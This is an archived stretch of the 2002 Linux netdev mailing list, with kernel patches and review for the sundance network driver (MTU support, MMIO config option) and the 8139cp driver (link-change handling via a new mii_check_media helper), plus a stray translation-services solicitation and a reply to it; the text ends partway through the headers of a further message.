USE_MEM_OPS to a CONFIG_xxx option From jgarzik@mandrakesoft.com Thu Sep 19 14:22:08 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 14:22:09 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JLM7tG010305 for ; Thu, 19 Sep 2002 14:22:08 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17s8pQ-0004i7-00; Thu, 19 Sep 2002 22:27:16 +0100 Message-ID: <3D8A3F65.8040107@mandrakesoft.com> Date: Thu, 19 Sep 2002 17:19:33 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jason Lunz CC: netdev@oss.sgi.com, Linux Kernel Mailing List , Donald Becker , Richard Gooch , "Patrick R. McManus" , edward_peng@dlink.com.tw Subject: Re: PATCH: sundance #5 (variable per-interface MTU support) References: <3D8A25D1.3060300@mandrakesoft.com> <20020919210348.GC17492@orr.falooley.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 299 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev applied From jgarzik@mandrakesoft.com Thu Sep 19 14:31:20 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 14:31:23 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JLVJtG010753 for ; Thu, 19 Sep 2002 14:31:20 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17s8yI-0004rf-00; Thu, 19 Sep 2002 22:36:26 +0100 Message-ID: <3D8A433B.5010703@mandrakesoft.com> Date: Thu, 19 Sep 2002 17:35:55 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com, Linux Kernel Mailing List CC: Donald Becker , Jason Lunz , Richard Gooch , "Patrick R. McManus" , edward_peng@dlink.com.tw Subject: PATCH: [my] sundance #5 References: <3D8A25D1.3060300@mandrakesoft.com> Content-Type: multipart/mixed; boundary="------------050008070108080200010708" X-archive-position: 300 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------050008070108080200010708 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit next sundance patch in the series, updated with Jason's patches Note, with the patching of Configure.help this is a 2.4-specific patch. --------------050008070108080200010708 Content-Type: text/plain; name="patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch" diff -Nru a/Documentation/Configure.help b/Documentation/Configure.help --- a/Documentation/Configure.help Thu Sep 19 17:32:40 2002 +++ b/Documentation/Configure.help Thu Sep 19 17:32:41 2002 @@ -11799,6 +11799,14 @@ say M here and read . The module will be called sundance.o. +Sundance Alta memory-mapped I/O support +CONFIG_SUNDANCE_MMIO + Enable memory-mapped I/O for interaction with Sundance NIC registers. + Do NOT enable this by default, PIO (enabled when MMIO is disabled) + is known to solve bugs on certain chips. + + If unsure, say N. + Sun3/Sun3x on-board LANCE support CONFIG_SUN3LANCE Most Sun3 and Sun3x motherboards (including the 3/50, 3/60 and 3/80) diff -Nru a/drivers/net/Config.in b/drivers/net/Config.in --- a/drivers/net/Config.in Thu Sep 19 17:32:40 2002 +++ b/drivers/net/Config.in Thu Sep 19 17:32:40 2002 @@ -192,6 +192,7 @@ dep_tristate ' SiS 900/7016 PCI Fast Ethernet Adapter support' CONFIG_SIS900 $CONFIG_PCI dep_tristate ' SMC EtherPower II' CONFIG_EPIC100 $CONFIG_PCI dep_tristate ' Sundance Alta support' CONFIG_SUNDANCE $CONFIG_PCI + dep_mbool ' Use MMIO instead of PIO' CONFIG_SUNDANCE_MMIO $CONFIG_SUNDANCE if [ "$CONFIG_PCI" = "y" -o "$CONFIG_EISA" = "y" ]; then tristate ' TI ThunderLAN support' CONFIG_TLAN fi diff -Nru a/drivers/net/sundance.c b/drivers/net/sundance.c --- a/drivers/net/sundance.c Thu Sep 19 17:32:40 2002 +++ b/drivers/net/sundance.c Thu Sep 19 17:32:40 2002 @@ -33,10 +33,11 @@ - Tx timeout recovery - More support for ethtool. - Version LK1.04a (jgarzik): + Version LK1.04a: - Remove unused/constant members from struct pci_id_info (which then allows removal of 'drv_flags' from private struct) - - If no phy is found, fail to load that board + (jgarzik) + - If no phy is found, fail to load that board (jgarzik) - Always start phy id scan at id 1 to avoid problems (Donald Becker) - Autodetect where mii_preable_required is needed, default to not needed. (Donald Becker) @@ -45,18 +46,25 @@ - Remove mii_preamble_required module parameter (Donald Becker) - Add per-interface mii_preamble_required (setting is autodetected) (Donald Becker) - - Remove unnecessary cast from void pointer - - Re-align comments in private struct + - Remove unnecessary cast from void pointer (jgarzik) + - Re-align comments in private struct (jgarzik) - Version LK1.04c: + Version LK1.04c (jgarzik): - Support bitmapped message levels (NETIF_MSG_xxx), and the two ethtool ioctls that get/set them - Don't hand-code MII ethtool support, use standard API/lib + Version LK1.04d: + - Merge from Donald Becker's sundance.c: (Jason Lunz) + * proper support for variably-sized MTUs + * default to PIO, to fix chip bugs + - Add missing unregister_netdev (Jason Lunz) + - Add CONFIG_SUNDANCE_MMIO config option (jgarzik) + */ #define DRV_NAME "sundance" -#define DRV_VERSION "1.01+LK1.04c" +#define DRV_VERSION "1.01+LK1.04d" #define DRV_RELDATE "19-Sep-2002" @@ -65,7 +73,6 @@ static int debug = 1; /* 1 normal messages, 0 quiet .. 7 verbose. */ /* Maximum events (Rx packets, etc.) to handle at each interrupt. */ static int max_interrupt_work = 0; -static int mtu; /* Maximum number of multicast addresses to filter (vs. rx-all-multicast). Typical is a 64 element hash table based on the Ethernet CRC. */ static int multicast_filter_limit = 32; @@ -162,13 +169,11 @@ MODULE_LICENSE("GPL"); MODULE_PARM(max_interrupt_work, "i"); -MODULE_PARM(mtu, "i"); MODULE_PARM(debug, "i"); MODULE_PARM(rx_copybreak, "i"); MODULE_PARM(media, "1-" __MODULE_STRING(MAX_UNITS) "s"); MODULE_PARM(flowctrl, "i"); MODULE_PARM_DESC(max_interrupt_work, "Sundance Alta maximum events handled per interrupt"); -MODULE_PARM_DESC(mtu, "Sundance Alta MTU (all boards)"); MODULE_PARM_DESC(debug, "Sundance Alta debug level (0-5)"); MODULE_PARM_DESC(rx_copybreak, "Sundance Alta copy breakpoint for copy-only-tiny-frames"); MODULE_PARM_DESC(flowctrl, "Sundance Alta flow control [0|1]"); @@ -247,6 +252,10 @@ */ +/* Work-around for Kendin chip bugs. */ +#ifndef CONFIG_SUNDANCE_MMIO +#define USE_IO_OPS 1 +#endif static struct pci_device_id sundance_pci_tbl[] __devinitdata = { {0x1186, 0x1002, 0x1186, 0x1002, 0, 0, 0}, @@ -329,7 +338,7 @@ MACCtrl0 = 0x50, MACCtrl1 = 0x52, StationAddr = 0x54, - MaxTxSize = 0x5A, + MaxFrameSize = 0x5A, RxMode = 0x5c, MIICtrl = 0x5e, MulticastFilter0 = 0x60, @@ -457,6 +466,7 @@ IntrDrvRqst | IntrTxDone | StatsMax | \ LinkChange) +static int change_mtu(struct net_device *dev, int new_mtu); static int eeprom_read(long ioaddr, int location); static int mdio_read(struct net_device *dev, int phy_id, int location); static void mdio_write(struct net_device *dev, int phy_id, int location, int value); @@ -563,11 +573,9 @@ dev->do_ioctl = &netdev_ioctl; dev->tx_timeout = &tx_timeout; dev->watchdog_timeo = TX_TIMEOUT; + dev->change_mtu = &change_mtu; pci_set_drvdata(pdev, dev); - if (mtu) - dev->mtu = mtu; - i = register_netdev(dev); if (i) goto err_out_unmap_rx; @@ -599,7 +607,7 @@ if (phy_idx == 0) { printk(KERN_INFO "%s: No MII transceiver found, aborting. ASIC status %x\n", dev->name, readl(ioaddr + ASICCtrl)); - goto err_out_unmap_rx; + goto err_out_unregister; } np->mii_if.phy_id = np->phys[0]; @@ -673,6 +681,8 @@ card_idx++; return 0; +err_out_unregister: + unregister_netdev(dev); err_out_unmap_rx: pci_free_consistent(pdev, RX_TOTAL_SIZE, np->rx_ring, np->rx_ring_dma); err_out_unmap_tx: @@ -689,6 +699,15 @@ return -ENODEV; } +static int change_mtu(struct net_device *dev, int new_mtu) +{ + if ((new_mtu < 68) || (new_mtu > 8191)) /* Set by RxDMAFrameLen */ + return -EINVAL; + if (netif_running(dev)) + return -EBUSY; + dev->mtu = new_mtu; + return 0; +} /* Read the EEPROM and MII Management Data I/O (MDIO) interfaces. */ static int __devinit eeprom_read(long ioaddr, int location) @@ -818,6 +837,10 @@ writeb(dev->dev_addr[i], ioaddr + StationAddr + i); /* Initialize other registers. */ + writew(dev->mtu + 14, ioaddr + MaxFrameSize); + if (dev->mtu > 2047) + writel(readl(ioaddr + ASICCtrl) | 0x0C, ioaddr + ASICCtrl); + /* Configure the PCI bus bursts and FIFO thresholds. */ if (dev->if_port == 0) @@ -950,7 +973,7 @@ np->cur_rx = np->cur_tx = 0; np->dirty_rx = np->dirty_tx = 0; - np->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 32); + np->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 36); /* Initialize all Rx descriptors. */ for (i = 0; i < RX_RING_SIZE; i++) { --------------050008070108080200010708-- From becker@scyld.com Thu Sep 19 15:23:17 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 15:23:23 -0700 (PDT) Received: from beohost.scyld.com (dsl093-058-082.blt1.dsl.speakeasy.net [66.93.58.82]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JMNGtG012234 for ; Thu, 19 Sep 2002 15:23:17 -0700 Received: from localhost (becker@localhost) by beohost.scyld.com (8.11.6/8.11.6) with ESMTP id g8JMSAS09715; Thu, 19 Sep 2002 18:28:10 -0400 Date: Thu, 19 Sep 2002 18:28:09 -0400 (EDT) From: Donald Becker To: Jason Lunz cc: Jeff Garzik , , Linux Kernel Mailing List , Richard Gooch , "Patrick R. McManus" , Subject: Re: PATCH: sundance #5 (variable per-interface MTU support) In-Reply-To: <20020919210348.GC17492@orr.falooley.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 301 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: becker@scyld.com Precedence: bulk X-list: netdev On Thu, 19 Sep 2002, Jason Lunz wrote: > This is a straightforward merge of variable mtu from donald's driver. - np->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 32); + np->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 36); Errrmm, not quite right. Try np->rx_buf_sz = (dev->mtu <= 1520 ? PKT_BUF_SZ : dev->mtu + 16); The idea is that all ethernet-like drivers always allocate skbuffs of the same size, PKT_BUF_SZ (1536=3*512), unless a jumbo MTU forces a larger size. Specificially, using VLANs (+4 bytes on the frame size) on some interfaces should not result in a mix of allocation sizes. Most VLAN-like encapsulation should add fewer than (1536-1518 = 18) 18 extra bytes. BTW, always leave a few extra bytes at the end of the data buffer. You never know when some chip might decide to dribble an extra word or two, or include the CRC because someone frobbed the driver. -- Donald Becker becker@scyld.com Scyld Computing Corporation http://www.scyld.com 410 Severn Ave. Suite 210 Second Generation Beowulf Clusters Annapolis MD 21403 410-990-9993 From cedric@easynet.co.uk Thu Sep 19 16:57:15 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 16:57:20 -0700 (PDT) Received: from smarthost0.mail.uk.easynet.net (smarthost0.mail.uk.easynet.net [212.135.6.10]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JNvEtG013573 for ; Thu, 19 Sep 2002 16:57:14 -0700 Received: from dial2.mail.uk.easynet.net ([195.40.1.235]) by smarthost0.mail.uk.easynet.net with esmtp (Exim 3.35 #1) id 17sBFT-000NOQ-00; Fri, 20 Sep 2002 01:02:19 +0100 Received: from cedric.easynet.co.uk ([193.131.250.79] helo=speedy) by dial2.mail.uk.easynet.net with smtp (Exim 3.34 #1) id 17sBFR-0002xu-00; Fri, 20 Sep 2002 01:02:18 +0100 Message-ID: <003e01c26039$7840a4e0$0600a8c0@speedy> From: "Cedric Edwards" To: "Deborah CABESSA" , References: <200209191254.g8JCsVtG021598@oss.sgi.com> Subject: Re: Translation services - Services de traduction Date: Fri, 20 Sep 2002 01:05:41 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 X-archive-position: 302 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cedric@easynet.co.uk Precedence: bulk X-list: netdev Hello, I will be requiring English to Spanish translation. It will be single word in context, small phrases and some complete paragraphs. The main intention is for the translation of an English website to Spanish. Can you offer such a service? I would be interested in you current pricing structure. Thanking You Cedric Edwards ================================= Mobile: 0797 175 7247 Home: 0034 963 360 181 (Spain) from Oct 1st ================================= ----- Original Message ----- From: Deborah CABESSA To: Sent: Thursday, September 19, 2002 2:59 PM Subject: Translation services - Services de traduction Hello, As part of your operations, you perhaps sometimes require translation services. We are a translation bureau offering services into a variety of languages. 1) Do you ever need such services? 2) Who in your organization is the person to contact? Best Regards, Deborah CABESSA +33 (0)1 45 88 54 11 +33 (0)6 11 77 57 08 Bonjour, Dans le cadre de vos activités, il vous arrive peut-être parfois de recourir à des services de traduction. Nous sommes un bureau de traduction et proposons des services dans diverses langues. 1) Avez-vous besoin de services de ce type ? 2) Dans votre entreprise, quelle est la personne à contacter ? Cordialement, Deborah CABESSA +33 (0)1 45 88 54 11 +33 (0)6 11 77 57 08 From jgarzik@mandrakesoft.com Thu Sep 19 17:13:43 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 17:13:50 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8K0DgtG014575 for ; Thu, 19 Sep 2002 17:13:42 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17sBVQ-0007fD-00; Fri, 20 Sep 2002 01:18:48 +0100 Message-ID: <3D8A6948.5020606@mandrakesoft.com> Date: Thu, 19 Sep 2002 20:18:16 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com, Linux Kernel Mailing List CC: Donald Becker , Jason Lunz , Richard Gooch , "Patrick R. McManus" , edward_peng@dlink.com.tw Subject: PATCH: sundance #6 References: <3D8A25D1.3060300@mandrakesoft.com> <3D8A433B.5010703@mandrakesoft.com> Content-Type: multipart/mixed; boundary="------------070102080708090909020508" X-archive-position: 303 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------070102080708090909020508 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit The obvious sundance update from the earlier discussion... --------------070102080708090909020508 Content-Type: text/plain; name="patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch" diff -Nru a/drivers/net/sundance.c b/drivers/net/sundance.c --- a/drivers/net/sundance.c Thu Sep 19 20:16:23 2002 +++ b/drivers/net/sundance.c Thu Sep 19 20:16:23 2002 @@ -60,6 +60,7 @@ * default to PIO, to fix chip bugs - Add missing unregister_netdev (Jason Lunz) - Add CONFIG_SUNDANCE_MMIO config option (jgarzik) + - Better rx buf size calculation (Donald Becker) */ @@ -973,7 +974,7 @@ np->cur_rx = np->cur_tx = 0; np->dirty_rx = np->dirty_tx = 0; - np->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 36); + np->rx_buf_sz = (dev->mtu <= 1520 ? PKT_BUF_SZ : dev->mtu + 16); /* Initialize all Rx descriptors. */ for (i = 0; i < RX_RING_SIZE; i++) { --------------070102080708090909020508-- From jgarzik@mandrakesoft.com Thu Sep 19 23:10:35 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 23:10:38 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8K6AYtG020725 for ; Thu, 19 Sep 2002 23:10:35 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17sH4p-0005R2-00; Fri, 20 Sep 2002 07:15:43 +0100 Message-ID: <3D8ABCEF.9060207@mandrakesoft.com> Date: Fri, 20 Sep 2002 02:15:11 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Felipe W Damasio CC: Linux Kernel Mailing List , netdev@oss.sgi.com Subject: ALTPATCH: 8139cp: LinkChg support References: <1032487254.247.7.camel@tank> Content-Type: multipart/mixed; boundary="------------060401040508060002020305" X-archive-position: 304 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------060401040508060002020305 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Felipe, Here is the patch I just committed, instead of your patch. I wanted a more generic solution, that is easily pluggable into other drivers. Please test and let me know if you find bugs, or want additions... Jeff --------------060401040508060002020305 Content-Type: text/plain; name="patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch" diff -Nru a/drivers/net/8139cp.c b/drivers/net/8139cp.c --- a/drivers/net/8139cp.c Fri Sep 20 02:13:15 2002 +++ b/drivers/net/8139cp.c Fri Sep 20 02:13:15 2002 @@ -22,11 +22,11 @@ Wake-on-LAN support - Felipe Damasio PCI suspend/resume - Felipe Damasio + LinkChg interrupt - Felipe Damasio TODO, in rough priority order: * Test Tx checksumming thoroughly * dev->tx_timeout - * LinkChg interrupt * Support forcing media type with a module parameter, like dl2k.c/sundance.c * Constants (module parms?) for Rx work limit @@ -677,6 +677,8 @@ cp_rx(cp); if (status & (TxOK | TxErr | TxEmpty | SWInt)) cp_tx(cp); + if (status & LinkChg) + mii_check_media(&cp->mii_if, netif_msg_link(cp)); if (status & PciErr) { u16 pci_status; @@ -1192,6 +1194,8 @@ if (rc) goto err_out_hw; + netif_carrier_off(dev); + mii_check_media(&cp->mii_if, netif_msg_link(cp)); netif_start_queue(dev); return 0; @@ -1210,6 +1214,7 @@ printk(KERN_DEBUG "%s: disabling interface\n", dev->name); netif_stop_queue(dev); + netif_carrier_off(dev); spin_lock_irq(&cp->lock); cp_stop_hw(cp); diff -Nru a/drivers/net/mii.c b/drivers/net/mii.c --- a/drivers/net/mii.c Fri Sep 20 02:13:15 2002 +++ b/drivers/net/mii.c Fri Sep 20 02:13:15 2002 @@ -170,6 +170,75 @@ return r; } +void mii_check_link (struct mii_if_info *mii) +{ + if (mii_link_ok(mii)) + netif_carrier_on(mii->dev); + else + netif_carrier_off(mii->dev); +} + +unsigned int mii_check_media (struct mii_if_info *mii, unsigned int ok_to_print) +{ + unsigned int old_carrier, new_carrier; + int advertise, lpa, media, duplex; + + /* if forced media, go no further */ + if (mii->duplex_lock) + return 0; /* duplex did not change */ + + /* check current and old link status */ + old_carrier = netif_carrier_ok(mii->dev) ? 1 : 0; + new_carrier = (unsigned int) mii_link_ok(mii); + + /* if carrier state did not change, this is a "bounce", + * just exit as everything is already set correctly + */ + if (old_carrier == new_carrier) + return 0; /* duplex did not change */ + + /* no carrier, nothing much to do */ + if (!new_carrier) { + netif_carrier_off(mii->dev); + if (ok_to_print) + printk(KERN_INFO "%s: link down\n", mii->dev->name); + return 0; /* duplex did not change */ + } + + /* + * we have carrier, see who's on the other end + */ + netif_carrier_on(mii->dev); + + /* get MII advertise and LPA values */ + if (mii->advertising) + advertise = mii->advertising; + else { + advertise = mii->mdio_read(mii->dev, mii->phy_id, MII_ADVERTISE); + mii->advertising = advertise; + } + lpa = mii->mdio_read(mii->dev, mii->phy_id, MII_LPA); + + /* figure out media and duplex from advertise and LPA values */ + media = mii_nway_result(lpa & advertise); + duplex = (media & (ADVERTISE_100FULL | ADVERTISE_10FULL)) ? 1 : 0; + + if (ok_to_print) + printk(KERN_INFO "%s: link up, %sMbps, %s-duplex, lpa 0x%04X\n", + mii->dev->name, + media & (ADVERTISE_100FULL | ADVERTISE_100HALF) ? + "100" : "10", + duplex ? "full" : "half", + lpa); + + if (mii->full_duplex != duplex) { + mii->full_duplex = duplex; + return 1; /* duplex changed */ + } + + return 0; /* duplex did not change */ +} + MODULE_AUTHOR ("Jeff Garzik "); MODULE_DESCRIPTION ("MII hardware support library"); MODULE_LICENSE("GPL"); @@ -178,3 +247,6 @@ EXPORT_SYMBOL(mii_nway_restart); EXPORT_SYMBOL(mii_ethtool_gset); EXPORT_SYMBOL(mii_ethtool_sset); +EXPORT_SYMBOL(mii_check_link); +EXPORT_SYMBOL(mii_check_media); + diff -Nru a/include/linux/mii.h b/include/linux/mii.h --- a/include/linux/mii.h Fri Sep 20 02:13:15 2002 +++ b/include/linux/mii.h Fri Sep 20 02:13:15 2002 @@ -118,10 +118,12 @@ struct ethtool_cmd; -int mii_link_ok (struct mii_if_info *mii); -int mii_nway_restart (struct mii_if_info *mii); -int mii_ethtool_gset(struct mii_if_info *mii, struct ethtool_cmd *ecmd); -int mii_ethtool_sset(struct mii_if_info *mii, struct ethtool_cmd *ecmd); +extern int mii_link_ok (struct mii_if_info *mii); +extern int mii_nway_restart (struct mii_if_info *mii); +extern int mii_ethtool_gset(struct mii_if_info *mii, struct ethtool_cmd *ecmd); +extern int mii_ethtool_sset(struct mii_if_info *mii, struct ethtool_cmd *ecmd); +extern void mii_check_link (struct mii_if_info *mii); +extern unsigned int mii_check_media (struct mii_if_info *mii, unsigned int ok_to_print); /* This structure is used in all SIOCxMIIxxx ioctl calls */ --------------060401040508060002020305-- From felipewd@terra.com.br Fri Sep 20 00:01:41 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Sep 2002 00:01:43 -0700 (PDT) Received: from videira.terra.com.br (videira.terra.com.br [200.176.3.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8K71dtG023322 for ; Fri, 20 Sep 2002 00:01:40 -0700 Received: from smtp4-poa.terra.com.br (smtp4-poa.terra.com.br [200.176.3.35]) by videira.terra.com.br (Postfix) with ESMTP id 49B33E1015; Fri, 20 Sep 2002 04:06:49 -0300 (EST) Received: from tank.coqueiro.org (200-180-162-111-paemt7001.dsl.telebrasilia.net.br [200.180.162.111]) (authenticated user felipewd) by smtp4-poa.terra.com.br (Postfix) with ESMTP id 6236CAC596; Fri, 20 Sep 2002 04:06:48 -0300 (EST) Subject: Re: ALTPATCH: 8139cp: LinkChg support From: Felipe W Damasio To: Jeff Garzik Cc: Linux Kernel Mailing List , netdev@oss.sgi.com In-Reply-To: <3D8ABCEF.9060207@mandrakesoft.com> References: <1032487254.247.7.camel@tank> <3D8ABCEF.9060207@mandrakesoft.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 20 Sep 2002 04:09:43 +0000 Message-Id: <1032494983.247.70.camel@tank> Mime-Version: 1.0 X-archive-position: 305 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: felipewd@terra.com.br Precedence: bulk X-list: netdev On Fri, 2002-09-20 at 06:15, Jeff Garzik wrote: > diff -Nru a/drivers/net/mii.c b/drivers/net/mii.c > --- a/drivers/net/mii.c Fri Sep 20 02:13:15 2002 > +++ b/drivers/net/mii.c Fri Sep 20 02:13:15 2002 > @@ -170,6 +170,75 @@ > return r; > } > > +void mii_check_link (struct mii_if_info *mii) > +{ > + if (mii_link_ok(mii)) > + netif_carrier_on(mii->dev); > + else > + netif_carrier_off(mii->dev); > +} > + > +unsigned int mii_check_media (struct mii_if_info *mii, unsigned int ok_to_print) > +{ > + unsigned int old_carrier, new_carrier; > + int advertise, lpa, media, duplex; Shouldn't advertise and lpa be either "unsigned short" or u16? > + > + /* if forced media, go no further */ > + if (mii->duplex_lock) > + return 0; /* duplex did not change */ > + > + /* check current and old link status */ > + old_carrier = netif_carrier_ok(mii->dev) ? 1 : 0; > + new_carrier = (unsigned int) mii_link_ok(mii); > + > + /* if carrier state did not change, this is a "bounce", > + * just exit as everything is already set correctly > + */ > + if (old_carrier == new_carrier) > + return 0; /* duplex did not change */ > + > + /* no carrier, nothing much to do */ > + if (!new_carrier) { > + netif_carrier_off(mii->dev); > + if (ok_to_print) > + printk(KERN_INFO "%s: link down\n", mii->dev->name); > + return 0; /* duplex did not change */ > + } > + > + /* > + * we have carrier, see who's on the other end > + */ > + netif_carrier_on(mii->dev); > + > + /* get MII advertise and LPA values */ > + if (mii->advertising) > + advertise = mii->advertising; > + else { > + advertise = mii->mdio_read(mii->dev, mii->phy_id, MII_ADVERTISE); > + mii->advertising = advertise; > + } > + lpa = mii->mdio_read(mii->dev, mii->phy_id, MII_LPA); > + > + /* figure out media and duplex from advertise and LPA values */ > + media = mii_nway_result(lpa & advertise); ^^^^^^^^^^^^^^^^^^^^^^^ mii_nway_result returns a "unsigned int", so media also doesn't look good. > + duplex = (media & (ADVERTISE_100FULL | ADVERTISE_10FULL)) ? 1 : 0; Or we could do duplex = (media & ADVERTISE_FULL) ? 1 : 0; Felipe From jgarzik@mandrakesoft.com Fri Sep 20 06:16:39 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Sep 2002 06:16:44 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8KDGctG018255 for ; Fri, 20 Sep 2002 06:16:39 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17sNjB-0005vQ-00; Fri, 20 Sep 2002 14:21:49 +0100 Message-ID: <3D8B20CD.80403@mandrakesoft.com> Date: Fri, 20 Sep 2002 09:21:17 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Felipe W Damasio CC: Linux Kernel Mailing List , netdev@oss.sgi.com Subject: Re: ALTPATCH: 8139cp: LinkChg support References: <1032487254.247.7.camel@tank> <3D8ABCEF.9060207@mandrakesoft.com> <1032494983.247.70.camel@tank> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 306 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev Felipe W Damasio wrote: >>+ int advertise, lpa, media, duplex; > > > Shouldn't advertise and lpa be either "unsigned short" or u16? No, they don't need to be. >>+ lpa = mii->mdio_read(mii->dev, mii->phy_id, MII_LPA); >>+ >>+ /* figure out media and duplex from advertise and LPA values */ >>+ media = mii_nway_result(lpa & advertise); > > ^^^^^^^^^^^^^^^^^^^^^^^ > > mii_nway_result returns a "unsigned int", so media also doesn't look > good. mii_nway_result _really_ returns a small bitmapped value, so it doesn't matter. >>+ duplex = (media & (ADVERTISE_100FULL | ADVERTISE_10FULL)) ? 1 : 0; > > > Or we could do > > duplex = (media & ADVERTISE_FULL) ? 1 : 0; True. I forgot about that constant... Jeff From jgarzik@mandrakesoft.com Sat Sep 21 13:13:09 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 21 Sep 2002 13:13:11 -0700 (PDT) Received: from 21cn.com ([61.140.60.248]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8LKD4tG026299 for ; Sat, 21 Sep 2002 13:13:06 -0700 Received: from 21cn.com([127.0.0.1]) by 21cn.com(AIMC 2.9.5.2) with SMTP id jmf3d8cf9ab; Sun, 22 Sep 2002 04:08:15 +0800 Received: from 21cn.com([10.2.1.8]) by 21cn.com(AIMC 2.9.5.1) with 